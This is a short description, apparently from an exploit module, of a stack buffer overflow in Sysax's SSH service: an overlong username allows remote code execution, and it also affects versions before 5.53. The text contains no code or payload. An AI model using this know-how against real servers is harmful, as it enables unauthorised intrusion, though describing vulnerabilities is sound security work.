					This module exploits a vulnerability found in Sysax's SSH service.  By
				supplying a long username, the SSH server will copy that data on the stack
				without any proper bounds checking, therefore allowing remote code execution
				under the context of the user.  Please note that previous versions
				(before 5.53) are also affected by this bug.
